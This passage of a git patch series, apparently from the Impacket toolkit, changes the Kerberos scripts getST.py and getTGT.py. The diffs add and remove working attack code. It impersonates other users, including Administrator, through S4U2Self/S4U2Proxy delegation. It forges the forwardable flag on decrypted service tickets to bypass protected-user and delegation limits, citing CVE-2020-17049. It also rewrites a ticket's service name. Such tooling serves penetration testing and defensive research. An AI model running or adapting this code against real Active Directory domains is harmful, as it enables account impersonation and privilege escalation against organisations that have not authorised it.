int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = list() + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticket.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = str(decodedTGT['crealm']) + + clientName = Principal() + clientName.from_asn1(decodedTGT, 'crealm', 'cname') + + seq_set(authenticator, 'cname', clientName.components_to_asn1) + + now = datetime.datetime.utcnow() + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + if logging.getLogger().level == logging.DEBUG: + logging.debug('AUTHENTICATOR') + print(authenticator.prettyPrint()) + print('\n') + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 7 + # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes + # TGS authenticator subkey), encrypted with the TGS session + # key (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + encodedApReq = encoder.encode(apReq) + + tgsReq = TGS_REQ() + + tgsReq['pvno'] = 5 + tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + + tgsReq['padata'] = noValue + tgsReq['padata'][0] = noValue + tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq['padata'][0]['padata-value'] = encodedApReq + + # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service + # requests a service ticket to itself on behalf of a user. The user is + # identified to the KDC by the user's name and realm. + clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + + S4UByteArray = struct.pack('= 0: + logging.error('Probably user %s does not have constrained delegation permisions or impersonated user does not exist' % self.__user) + if str(e).find('KDC_ERR_BADOPTION') >= 0: + logging.error('Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' % self.__user) + + return + self.__saveFileName = self.__options.impersonate + + self.saveTicket(tgs, oldSessionKey) + if __name__ == '__main__': print(version.BANNER) parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a " - "TGT and save it as ccache") + "Service Ticket and save it as ccache") parser.add_argument('identity', action='store', help='[domain/]username[:password]') + parser.add_argument('-spn', action="store", required=True, help='SPN (service/server) of the target service the ' + 'service ticket will' ' be generated for') + parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)' + ' for quering the ST. Keep in mind this will only work if ' + 'the identity provided in this scripts is allowed for ' + 'delegation to the SPN specified') + parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-force-forwardable', action='store_true', help='Force the service ticket obtained through ' + 'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the ' + 'specified -identity should be provided. This allows impresonation of protected users ' + 'and bypass of "Kerberos-only" constrained delegation restrictions. See CVE-2020-17049') group = parser.add_argument_group('authentication') - group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' - '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' - 'ones specified in the command line') - group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' - '(128 or 256 bits)') - group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' - 'ommited it use the domain part (FQDN) specified in the target parameter') - - if len(sys.argv)==1: + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + + if len(sys.argv) == 1: parser.print_help() print("\nExamples: ") - print("\t./getTGT.py -hashes lm:nt contoso.com/user\n") + print("\t./getST.py -spn cifs/contoso-dc -hashes lm:nt contoso.com/user\n") print("\tit will use the lm:nt hashes for authentication. If you don't specify them, a password will be asked") sys.exit(1) @@ -109,15 +738,17 @@ def run(self): if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass + password = getpass("Password:") if options.aesKey is not None: options.k = True - executer = GETTGT(username, password, domain, options) + executer = GETST(username, password, domain, options) executer.run() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback + traceback.print_exc() print(str(e)) From 334ac5b37a00447e00cbd664a6517ec270924cb1 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Mon, 21 Feb 2022 11:03:03 +0800 Subject: [PATCH 068/152] Update getTGT.py From 991b52af8acfedb43bdbb60d47271f411a48a344 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Mon, 21 Feb 2022 11:05:00 +0800 Subject: [PATCH 069/152] Update getST.py --- examples/getST.py | 67 ++++------------------------------------------- 1 file changed, 5 insertions(+), 62 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index 631bb2c1b8..fa536ff1f0 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -78,8 +78,6 @@ def __init__(self, target, password, domain, options): self.__kdcHost = options.dc_ip self.__force_forwardable = options.force_forwardable self.__additional_ticket = options.additional_ticket - self.__alt_service = options.alt_service - self.__s4u2_self = options.s4u2self self.__saveFileName = None if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') @@ -87,55 +85,8 @@ def __init__(self, target, password, domain, options): def saveTicket(self, ticket, sessionKey): logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) ccache = CCache() - if self.__alt_service != None: - decodedTGS = decoder.decode(ticket, asn1Spec = TGS_REP())[0] - decodedTGS['ticket']['sname']['name-type'] = 0 - decodedTGS['ticket']['sname']['name-string'][0] = self.__alt_service.split('/')[0] - decodedTGS['ticket']['sname']['name-string'][1] = self.__alt_service.split('/')[1] - ticket = encoder.encode(decodedTGS) + ccache.fromTGS(ticket, sessionKey, sessionKey) - cred_number = len(ccache.credentials) - logging.debug('Number of credentials in cache: %d' % cred_number) - if cred_number > 1: - logging.debug("More than one credentials in cache, modifying all of them") - for creds in ccache.credentials: - sname = creds['server'].prettyPrint() - if b'/' not in sname: - logging.debug("Original service is not formatted as usual (i.e. CLASS/HOSTNAME@REALM), automatically filling the substitution service will fail") - logging.debug("Original service is: %s" % sname.decode('utf-8')) - if '/' not in self.__alt_service: - raise ValueError("Substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)") - service_class = "" - hostname = sname.split(b'@')[0].decode('utf-8') - service_realm = sname.split(b'@')[1].decode('utf-8') - else: - service_class = sname.split(b'@')[0].split(b'/')[0].decode('utf-8') - hostname = sname.split(b'@')[0].split(b'/')[1].decode('utf-8') - service_realm = sname.split(b'@')[1].decode('utf-8') - if '@' in self.__alt_service: - new_service_realm = self.__alt_service.split('@')[1].upper() - if not '.' in new_service_realm: - logging.debug("New service realm is not FQDN, you may encounter errors") - if '/' in self.__alt_service: - new_hostname = self.__alt_service.split('@')[0].split('/')[1] - new_service_class = self.__alt_service.split('@')[0].split('/')[0] - else: - logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) - new_hostname = hostname - new_service_class = self.__alt_service.split('@')[0] - else: - logging.debug("No service realm in new SPN, using the current one (%s)" % service_realm) - new_service_realm = service_realm - if '/' in self.__alt_service: - new_hostname = self.__alt_service.split('/')[1] - new_service_class = self.__alt_service.split('/')[0] - else: - logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) - new_hostname = hostname - new_service_class = self.__alt_service - new_sname = "%s/%s@%s" % (new_service_class, new_hostname, new_service_realm) - logging.info('Changing sname from %s to %s' % (sname.decode("utf-8"), new_sname)) - creds['server'].fromPrincipal(Principal(new_sname, type=constants.PrincipalNameType.NT_PRINCIPAL.value)) ccache.saveFile(self.__saveFileName + '.ccache') def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path): @@ -470,8 +421,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) message = encoder.encode(tgsReq) r = sendReceive(message, self.__domain, kdcHost) - if self.__s4u2_self: - return r, cipher, sessionKey, sessionKey + tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] if logging.getLogger().level == logging.DEBUG: @@ -734,14 +684,12 @@ def run(self): parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a " "Service Ticket and save it as ccache") parser.add_argument('identity', action='store', help='[domain/]username[:password]') - parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the ' - 'service ticket will' ' be generated for') + parser.add_argument('-spn', action="store", required=True, help='SPN (service/server) of the target service the ' + 'service ticket will' ' be generated for') parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)' ' for quering the ST. Keep in mind this will only work if ' 'the identity provided in this scripts is allowed for ' 'delegation to the SPN specified') - parser.add_argument('-alt-service', action="store", help='change the service ticket\'s sname') - parser.add_argument('-s4u2self', action="store_true", help='only do s4u2self request') parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') @@ -780,12 +728,7 @@ def run(self): logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) - if options.alt_service != None and len(options.alt_service.split('/')) != 2: - logging.critical('alt-service should be specified as service/host format') - sys.exit(1) - if options.s4u2self == None and options.spn == None: - logging.critical('you must specify spn when s4u2self option is not used') - sys.exit(1) + domain, username, password = parse_credentials(options.identity) try: From 4832b97476fd32a6d478e827c2126169cef37f3f Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Mon, 21 Feb 2022 11:05:16 +0800 Subject: [PATCH 070/152] Update getTGT.py --- examples/getTGT.py | 687 ++------------------------------------------- 1 file changed, 28 insertions(+), 659 deletions(-) diff --git a/examples/getTGT.py b/examples/getTGT.py index fa536ff1f0..d20df28c77 100755 --- a/examples/getTGT.py +++ b/examples/getTGT.py @@ -8,28 +8,10 @@ # for more information. # # Description: -# Given a password, hash, aesKey or TGT in ccache, it will request a Service Ticket and save it as ccache -# If the account has constrained delegation (with protocol transition) privileges you will be able to use -# the -impersonate switch to request the ticket on behalf other user (it will use S4U2Self/S4U2Proxy to -# request the ticket.) -# -# Similar feature has been implemented already by Benjamin Delphi (@gentilkiwi) in Kekeo (s4u) +# Given a password, hash or aesKey, it will request a TGT and save it as ccache # # Examples: -# ./getST.py -hashes lm:nt -spn cifs/contoso-dc contoso.com/user -# or -# If you have tickets cached (run klist to verify) the script will use them -# ./getST.py -k -spn cifs/contoso-dc contoso.com/user -# Be sure tho, that the cached TGT has the forwardable flag set (klist -f). getTGT.py will ask forwardable tickets -# by default. -# -# Also, if the account is configured with constrained delegation (with protocol transition) you can request -# service tickets for other users, assuming the target SPN is allowed for delegation: -# ./getST.py -k -impersonate Administrator -spn cifs/contoso-dc contoso.com/user -# -# The output of this script will be a service ticket for the Administrator user. -# -# Once you have the ccache file, set it in the KRB5CCNAME variable and use it for fun and profit. +# ./getTGT.py -hashes lm:nt contoso.com/user # # Author: # Alberto Solino (@agsolino) @@ -38,682 +20,71 @@ from __future__ import division from __future__ import print_function import argparse -import datetime import logging -import os -import random -import struct import sys -from binascii import hexlify, unhexlify -from six import b - -from pyasn1.codec.der import decoder, encoder -from pyasn1.type.univ import noValue +from binascii import unhexlify from impacket import version from impacket.examples import logger from impacket.examples.utils import parse_credentials +from impacket.krb5.kerberosv5 import getKerberosTGT from impacket.krb5 import constants -from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ - Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart -from impacket.krb5.ccache import CCache -from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype -from impacket.krb5.constants import TicketFlags, encodeFlags -from impacket.krb5.kerberosv5 import getKerberosTGS -from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive -from impacket.krb5.types import Principal, KerberosTime, Ticket -from impacket.ntlm import compute_nthash -from impacket.winregistry import hexdump +from impacket.krb5.types import Principal -class GETST: +class GETTGT: def __init__(self, target, password, domain, options): self.__password = password - self.__user = target + self.__user= target self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = options.aesKey self.__options = options self.__kdcHost = options.dc_ip - self.__force_forwardable = options.force_forwardable - self.__additional_ticket = options.additional_ticket - self.__saveFileName = None if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') def saveTicket(self, ticket, sessionKey): - logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) + logging.info('Saving ticket in %s' % (self.__user + '.ccache')) + from impacket.krb5.ccache import CCache ccache = CCache() - ccache.fromTGS(ticket, sessionKey, sessionKey) - ccache.saveFile(self.__saveFileName + '.ccache') - - def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path): - if not os.path.isfile(additional_ticket_path): - logging.error("Ticket %s doesn't exist" % additional_ticket_path) - exit(0) - else: - decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] - logging.info("\tUsing additional ticket %s instead of S4U2Self" % additional_ticket_path) - ccache = CCache.loadFile(additional_ticket_path) - principal = ccache.credentials[0].header['server'].prettyPrint() - creds = ccache.getCredential(principal.decode()) - TGS = creds.toTGS(principal) - - tgs = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0] - - if logging.getLogger().level == logging.DEBUG: - logging.debug('TGS_REP') - print(tgs.prettyPrint()) - - if self.__force_forwardable: - # Convert hashes to binary form, just in case we're receiving strings - if isinstance(nthash, str): - try: - nthash = unhexlify(nthash) - except TypeError: - pass - if isinstance(aesKey, str): - try: - aesKey = unhexlify(aesKey) - except TypeError: - pass - - # Compute NTHash and AESKey if they're not provided in arguments - if self.__password != '' and self.__domain != '' and self.__user != '': - if not nthash: - nthash = compute_nthash(self.__password) - if logging.getLogger().level == logging.DEBUG: - logging.debug('NTHash') - print(hexlify(nthash).decode()) - if not aesKey: - salt = self.__domain.upper() + self.__user - aesKey = _AES256CTS.string_to_key(self.__password, salt, params=None).contents - if logging.getLogger().level == logging.DEBUG: - logging.debug('AESKey') - print(hexlify(aesKey).decode()) - - # Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys - cipherText = tgs['ticket']['enc-part']['cipher'] - - # Check which cipher was used to encrypt the ticket. It's not always the same - # This determines which of our keys we should use for decryption/re-encryption - newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])] - if newCipher.enctype == Enctype.RC4: - key = Key(newCipher.enctype, nthash) - else: - key = Key(newCipher.enctype, aesKey) - - # Decrypt and decode the ticket - # Key Usage 2 - # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or - # application session key), encrypted with the service key - # (section 5.4.2) - plainText = newCipher.decrypt(key, 2, cipherText) - encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] - - # Print the flags in the ticket before modification - logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags'])) - logging.debug('\tService ticket from S4U2self is' - + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') - + ' forwardable') - - # Customize flags the forwardable flag is the only one that really matters - logging.info('\tForcing the service ticket to be forwardable') - # convert to string of bits - flagBits = encTicketPart['flags'].asBinary() - # Set the forwardable flag. Awkward binary string insertion - flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:] - # Overwrite the value with the new bits - encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits) # Update flags - - logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags'])) - logging.debug('\tService ticket now is' - + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') - + ' forwardable') - - # Re-encode and re-encrypt the ticket - # Again, Key Usage 2 - encodedEncTicketPart = encoder.encode(encTicketPart) - cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None) - - # put it back in the TGS - tgs['ticket']['enc-part']['cipher'] = cipherText - - ################################################################################ - # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy - # So here I have a ST for me.. I now want a ST for another service - # Extract the ticket from the TGT - ticketTGT = Ticket() - ticketTGT.from_asn1(decodedTGT['ticket']) - - # Get the service ticket - ticket = Ticket() - ticket.from_asn1(tgs['ticket']) - - apReq = AP_REQ() - apReq['pvno'] = 5 - apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) - - opts = list() - apReq['ap-options'] = constants.encodeFlags(opts) - seq_set(apReq, 'ticket', ticketTGT.to_asn1) - - authenticator = Authenticator() - authenticator['authenticator-vno'] = 5 - authenticator['crealm'] = str(decodedTGT['crealm']) - - clientName = Principal() - clientName.from_asn1(decodedTGT, 'crealm', 'cname') - - seq_set(authenticator, 'cname', clientName.components_to_asn1) - - now = datetime.datetime.utcnow() - authenticator['cusec'] = now.microsecond - authenticator['ctime'] = KerberosTime.to_asn1(now) - - encodedAuthenticator = encoder.encode(authenticator) - - # Key Usage 7 - # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes - # TGS authenticator subkey), encrypted with the TGS session - # key (Section 5.5.1) - encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) - - apReq['authenticator'] = noValue - apReq['authenticator']['etype'] = cipher.enctype - apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator - - encodedApReq = encoder.encode(apReq) - - tgsReq = TGS_REQ() - - tgsReq['pvno'] = 5 - tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) - tgsReq['padata'] = noValue - tgsReq['padata'][0] = noValue - tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) - tgsReq['padata'][0]['padata-value'] = encodedApReq - - # Add resource-based constrained delegation support - paPacOptions = PA_PAC_OPTIONS() - paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) - - tgsReq['padata'][1] = noValue - tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value - tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) - - reqBody = seq_set(tgsReq, 'req-body') - - opts = list() - # This specified we're doing S4U - opts.append(constants.KDCOptions.cname_in_addl_tkt.value) - opts.append(constants.KDCOptions.canonicalize.value) - opts.append(constants.KDCOptions.forwardable.value) - opts.append(constants.KDCOptions.renewable.value) - - reqBody['kdc-options'] = constants.encodeFlags(opts) - service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) - seq_set(reqBody, 'sname', service2.components_to_asn1) - reqBody['realm'] = self.__domain - - myTicket = ticket.to_asn1(TicketAsn1()) - seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) - - now = datetime.datetime.utcnow() + datetime.timedelta(days=1) - - reqBody['till'] = KerberosTime.to_asn1(now) - reqBody['nonce'] = random.getrandbits(31) - seq_set_iter(reqBody, 'etype', - ( - int(constants.EncryptionTypes.rc4_hmac.value), - int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), - int(constants.EncryptionTypes.des_cbc_md5.value), - int(cipher.enctype) - ) - ) - message = encoder.encode(tgsReq) - - logging.info('\tRequesting S4U2Proxy') - r = sendReceive(message, self.__domain, kdcHost) - - tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] - - cipherText = tgs['enc-part']['cipher'] - - # Key Usage 8 - # TGS-REP encrypted part (includes application session - # key), encrypted with the TGS session key (Section 5.4.2) - plainText = cipher.decrypt(sessionKey, 8, cipherText) - - encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] - - newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) - - # Creating new cipher based on received keytype - cipher = _enctype_table[encTGSRepPart['key']['keytype']] - - return r, cipher, sessionKey, newSessionKey - - def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost): - decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] - # Extract the ticket from the TGT - ticket = Ticket() - ticket.from_asn1(decodedTGT['ticket']) - - apReq = AP_REQ() - apReq['pvno'] = 5 - apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) - - opts = list() - apReq['ap-options'] = constants.encodeFlags(opts) - seq_set(apReq, 'ticket', ticket.to_asn1) - - authenticator = Authenticator() - authenticator['authenticator-vno'] = 5 - authenticator['crealm'] = str(decodedTGT['crealm']) - - clientName = Principal() - clientName.from_asn1(decodedTGT, 'crealm', 'cname') - - seq_set(authenticator, 'cname', clientName.components_to_asn1) - - now = datetime.datetime.utcnow() - authenticator['cusec'] = now.microsecond - authenticator['ctime'] = KerberosTime.to_asn1(now) - - if logging.getLogger().level == logging.DEBUG: - logging.debug('AUTHENTICATOR') - print(authenticator.prettyPrint()) - print('\n') - - encodedAuthenticator = encoder.encode(authenticator) - - # Key Usage 7 - # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes - # TGS authenticator subkey), encrypted with the TGS session - # key (Section 5.5.1) - encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) - - apReq['authenticator'] = noValue - apReq['authenticator']['etype'] = cipher.enctype - apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator - - encodedApReq = encoder.encode(apReq) - - tgsReq = TGS_REQ() - - tgsReq['pvno'] = 5 - tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) - - tgsReq['padata'] = noValue - tgsReq['padata'][0] = noValue - tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) - tgsReq['padata'][0]['padata-value'] = encodedApReq - - # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service - # requests a service ticket to itself on behalf of a user. The user is - # identified to the KDC by the user's name and realm. - clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - - S4UByteArray = struct.pack('= 0: - logging.error('Probably user %s does not have constrained delegation permisions or impersonated user does not exist' % self.__user) - if str(e).find('KDC_ERR_BADOPTION') >= 0: - logging.error('Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' % self.__user) - - return - self.__saveFileName = self.__options.impersonate - - self.saveTicket(tgs, oldSessionKey) - + userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, + unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, + self.__kdcHost) + self.saveTicket(tgt,oldSessionKey) if __name__ == '__main__': print(version.BANNER) parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a " - "Service Ticket and save it as ccache") + "TGT and save it as ccache") parser.add_argument('identity', action='store', help='[domain/]username[:password]') - parser.add_argument('-spn', action="store", required=True, help='SPN (service/server) of the target service the ' - 'service ticket will' ' be generated for') - parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)' - ' for quering the ST. Keep in mind this will only work if ' - 'the identity provided in this scripts is allowed for ' - 'delegation to the SPN specified') - parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') - parser.add_argument('-force-forwardable', action='store_true', help='Force the service ticket obtained through ' - 'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the ' - 'specified -identity should be provided. This allows impresonation of protected users ' - 'and bypass of "Kerberos-only" constrained delegation restrictions. See CVE-2020-17049') group = parser.add_argument_group('authentication') - group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' - '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' - 'ones specified in the command line') - group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' - '(128 or 256 bits)') - group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If ' - 'ommited it use the domain part (FQDN) specified in the target parameter') - - if len(sys.argv) == 1: + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + + if len(sys.argv)==1: parser.print_help() print("\nExamples: ") - print("\t./getST.py -spn cifs/contoso-dc -hashes lm:nt contoso.com/user\n") + print("\t./getTGT.py -hashes lm:nt contoso.com/user\n") print("\tit will use the lm:nt hashes for authentication. If you don't specify them, a password will be asked") sys.exit(1) @@ -738,17 +109,15 @@ def run(self): if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass - password = getpass("Password:") if options.aesKey is not None: options.k = True - executer = GETST(username, password, domain, options) + executer = GETTGT(username, password, domain, options) executer.run() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback - traceback.print_exc() print(str(e)) From a4d2530ef39e4473ee22fa8dc44ce836442779b1 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Mon, 21 Feb 2022 11:06:12 +0800 Subject: [PATCH 071/152] Update getTGT.py From 4dc134e30c0a4011278cdda3f720f0fc1b0764e9 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Mon, 21 Feb 2022 13:00:28 +0800 Subject: [PATCH 072/152] remove redundant decryption also make some improvement of the ticket file name --- examples/getST.py | 136 ++++++++++++++++++++++++++++++++-------------- 1 file changed, 95 insertions(+), 41 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index fa536ff1f0..eb520008da 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 # Impacket - Collection of Python classes for working with network protocols. # # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. @@ -53,10 +53,10 @@ from impacket import version from impacket.examples import logger from impacket.examples.utils import parse_credentials -from impacket.krb5 import constants +from impacket.krb5 import constants, types, crypto, ccache from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart -from impacket.krb5.ccache import CCache +from impacket.krb5.ccache import CCache, Credential from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype from impacket.krb5.constants import TicketFlags, encodeFlags from impacket.krb5.kerberosv5 import getKerberosTGS @@ -79,14 +79,78 @@ def __init__(self, target, password, domain, options): self.__force_forwardable = options.force_forwardable self.__additional_ticket = options.additional_ticket self.__saveFileName = None + self.__no_s4u2proxy = options.no_s4u2proxy if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') def saveTicket(self, ticket, sessionKey): - logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) ccache = CCache() - - ccache.fromTGS(ticket, sessionKey, sessionKey) + if self.__options.altservice is not None: + decodedST = decoder.decode(ticket, asn1Spec=TGS_REP())[0] + sname = decodedST['ticket']['sname']['name-string'] + if len(decodedST['ticket']['sname']['name-string']) == 1: + logging.debug("Original sname is not formatted as usual (i.e. CLASS/HOSTNAME), automatically filling the substitution service will fail") + logging.debug("Original sname is: %s" % sname[0]) + if '/' not in self.__options.altservice: + raise ValueError("Substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)") + service_class, service_hostname = ('', sname[0]) + service_realm = decodedST['ticket']['realm'] + elif len(decodedST['ticket']['sname']['name-string']) == 2: + service_class, service_hostname = decodedST['ticket']['sname']['name-string'] + service_realm = decodedST['ticket']['realm'] + else: + logging.debug("Original sname is: %s" % '/'.join(sname)) + raise ValueError("Original sname is not formatted as usual (i.e. CLASS/HOSTNAME), something's wrong here...") + if '@' in self.__options.altservice: + new_service_realm = self.__options.altservice.split('@')[1].upper() + if not '.' in new_service_realm: + logging.debug("New service realm is 